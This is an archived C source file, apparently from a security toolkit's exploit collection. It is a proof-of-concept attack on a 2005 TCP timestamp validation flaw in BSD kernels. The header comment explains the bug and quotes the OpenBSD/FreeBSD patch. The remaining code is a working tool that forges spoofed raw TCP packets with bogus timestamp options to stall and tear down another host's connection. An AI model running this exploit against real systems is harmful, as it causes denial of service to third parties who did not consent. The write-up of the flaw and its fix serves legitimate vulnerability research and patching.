home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / tcpip / tcptimestamp.c < prev   
C/C++ Source or Header  |  2005-05-24  |  7KB  |  255 lines

  1. /*
  2. * TCP does not adequately validate segments before updating timestamp value
  3. * http://www.kb.cert.org/vuls/id/637934
  4. *
  5. * RFC-1323 (TCP Extensions for High Performance)
  6. *
  7. * 4.2.1 defines how the PAWS algorithm should drop packets with invalid
  8. * timestamp options:
  9. * R1) If there is a Timestamps option in the arriving segment
  10. * and SEG.TSval < TS.Recent and if TS.Recent is valid (see
  11. * later discussion), then treat the arriving segment as not
  12. * acceptable:
  13. *
  14. * Send an acknowledgement in reply as specified in
  15. * RFC-793 page 69 and drop the segment.
  16. *
  17. * 3.4 defines what timestamp options to accept:
  18. *
  19. * (2) If Last.ACK.sent falls within the range of sequence numbers
  20. * of an incoming segment:
  21. *
  22. * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
  23. *
  24. * then the TSval from the segment is copied to TS.Recent;
  25. * otherwise, the TSval is ignored.
  26. *
  27. * http://community.roxen.com/developers/idocs/drafts/
  28. * draft-jacobson-tsvwg-1323bis-00.html
  29. *
  30. * 3.4 suggests an slightly different check like
  31. *
  32. * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
  33. * then SEG.TSval is copied to TS.Recent; otherwise, it is
  34. * ignored.
  35. *
  36. * and explains this change
  37. *
  38. * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
  39. *
  40. * There are additional changes in this document from RFC-1323.
  41. * These changes are:
  42. * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control
  43. * which timestamp is echoed was incorrect in two regards:
  44. * (1) It failed to update TSrecent for a retransmitted segment
  45. * that resulted from a lost ACK.
  46. * (2) It failed if SEG.LEN = 0.
  47. * In the new algorithm, the case of SEG.TSval = TSrecent is
  48. * included for consistency with the PAWS test.
  49. *
  50. * At least OpenBSD and FreeBSD contain this code instead:
  51. *
  52. * sys/netinet/tcp_input.c tcp_input()
  53. *
  54. * **
  55. * * If last ACK falls within this segment's sequence numbers,
  56. * * record its timestamp.
  57. * * NOTE that the test is modified according to the latest
  58. * * proposal of the tcplw@cray.com list (Braden 1993/04/26).
  59. * **
  60. * if ((to.to_flags & TOF_TS) != 0 &&
  61. * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
  62. * tp->ts_recent_age = ticks;
  63. * tp->ts_recent = to.to_tsval;
  64. * }
  65. *
  66. * The problem here is that the packet the timestamp is accepted from doesn't
  67. * need to have a valid th_seq or th_ack. This point of execution is reached
  68. * for packets with arbitrary th_ack values and th_seq values of half the
  69. * possible value range, because the first 'if (todrop > tlen)' check in the
  70. * function explicitely continues execution to process ACKs.
  71. *
  72. * If an attacker knows (or guesses) the source and destination addresses and
  73. * ports of a connection between two peers, he can send spoofed TCP packets
  74. * to either peer containing bogus timestamp options. Since half of the
  75. * possible th_seq and timestamp values are accepted, four packets containing
  76. * two random values and their integer wraparound opposites are sufficient to
  77. * get one random timestamp accepted by the receipient. Further packets from
  78. * the real peer will get dropped by PAWS, and the TCP connection stalls and
  79. * times out.
  80. *
  81. * The following change reverts the tcp_input() check back to the implemented
  82. * suggested by draft-jacobson-tsvwg-1323bis-00.txt
  83. *
  84. * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
  85. * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
  86. * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
  87. * + ((tiflags & (TH_SYN|TH_FIN)) != 0)))
  88. * + tp->ts_recent = opti.ts_val;
  89. * + else
  90. * + tp->ts_recent = 0;
  91. * tp->ts_recent_age = tcp_now;
  92. * - tp->ts_recent = opti.ts_val;
  93. * }
  94. *
  95. * I can't find Braden's proposal referenced in the comment. It seems to
  96. * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
  97. * it.
  98. *
  99. * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>
  100. *
  101. * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
  102. * ?r1=1.184&r2=1.185&f=h
  103. *
  104. * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
  105. * ?r1=1.252.2.15&r2=1.252.2.16&f=h
  106. *
  107. */
  108.  
  109. #include <stdio.h>
  110. #include <stdlib.h>
  111. #include <sys/socket.h>
  112. #include <net/if.h>
  113. #ifdef __FreeBSD__
  114. #include <net/if_var.h>
  115. #endif
  116. #include <netinet/in.h>
  117. #include <netinet/in_var.h>
  118. #include <netinet/in_systm.h>
  119. #include <netinet/ip.h>
  120. #include <netinet/tcp.h>
  121.  
  122. static u_int16_t
  123. checksum(u_int16_t *data, u_int16_t length)
  124. {
  125. u_int32_t value = 0;
  126. u_int16_t i;
  127.  
  128. for (i = 0; i < (length >> 1); ++i)
  129. value += data[i];
  130. if ((length & 1) == 1)
  131. value += (data[i] << 8);
  132. value = (value & 65535) + (value >> 16);
  133. return (~value);
  134. }
  135.  
  136. static int
  137. send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
  138. u_int16_t dport, u_int32_t seq, u_int32_t ts)
  139. {
  140. u_char packet[1600];
  141. struct tcphdr *tcp;
  142. struct ip *ip;
  143. unsigned char *opt;
  144. int optlen, len, r;
  145. struct sockaddr_in sin;
  146.  
  147. memset(packet, 0, sizeof(packet));
  148.  
  149. opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
  150. optlen = 0;
  151. opt[optlen++] = TCPOPT_NOP;
  152. opt[optlen++] = TCPOPT_NOP;
  153. opt[optlen++] = TCPOPT_TIMESTAMP;
  154. opt[optlen++] = 10;
  155. ts = htonl(ts);
  156. memcpy(opt + optlen, &ts, sizeof(ts));
  157. optlen += sizeof(ts);
  158. ts = htonl(0);
  159. memcpy(opt + optlen, &ts, sizeof(ts));
  160. optlen += sizeof(ts);
  161.  
  162. len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;
  163.  
  164. ip = (struct ip *)packet;
  165. ip->ip_src.s_addr = saddr;
  166. ip->ip_dst.s_addr = daddr;
  167. ip->ip_p = IPPROTO_TCP;
  168. ip->ip_len = htons(sizeof(struct tcphdr) + optlen);
  169.  
  170. tcp = (struct tcphdr *)(packet + sizeof(struct ip));
  171. tcp->th_sport = htons(sport);
  172. tcp->th_dport = htons(dport);
  173. tcp->th_seq = htonl(seq);
  174. tcp->th_ack = 0;
  175. tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
  176. tcp->th_flags = 0;
  177. tcp->th_win = htons(16384);
  178. tcp->th_sum = 0;
  179. tcp->th_urp = 0;
  180.  
  181. tcp->th_sum = checksum((u_int16_t *)ip, len);
  182.  
  183. ip->ip_v = 4;
  184. ip->ip_hl = 5;
  185. ip->ip_tos = 0;
  186. ip->ip_len = htons(len);
  187. ip->ip_id = htons(arc4random() % 65536);
  188. ip->ip_off = 0;
  189. ip->ip_ttl = 64;
  190.  
  191. sin.sin_family = AF_INET;
  192. sin.sin_addr.s_addr = saddr;
  193.  
  194. r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
  195. if (r != len) {
  196. perror("sendto");
  197. return (1);
  198. }
  199.  
  200. return (0);
  201. }
  202.  
  203. static u_int32_t
  204. op(u_int32_t u)
  205. {
  206. return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
  207. }
  208.  
  209. int main(int argc, char *argv[])
  210. {
  211. u_int32_t saddr, daddr, seq, ts;
  212. u_int16_t sport, dport;
  213. int sock, i;
  214.  
  215. if (argc != 5) {
  216. fprintf(stderr, "usage: %s <src ip> <src port> "
  217. "<dst ip> <dst port>\n", argv[0]);
  218. return (1);
  219. }
  220.  
  221. saddr = inet_addr(argv[1]);
  222. daddr = inet_addr(argv[3]);
  223. sport = atoi(argv[2]);
  224. dport = atoi(argv[4]);
  225.  
  226. sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  227. if (sock < 0) {
  228. perror("socket");
  229. return (1);
  230. }
  231. i = 1;
  232. if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
  233. perror("setsockopt");
  234. close(sock);
  235. return (1);
  236. }
  237.  
  238. seq = arc4random();
  239. ts = arc4random();
  240. if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
  241. send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
  242. send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
  243. send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
  244. fprintf(stderr, "failed\n");
  245. close(sock);
  246. return (1);
  247. }
  248.  
  249. close(sock);
  250. printf("done\n");
  251. return (0);
  252. }
  253.  
  254.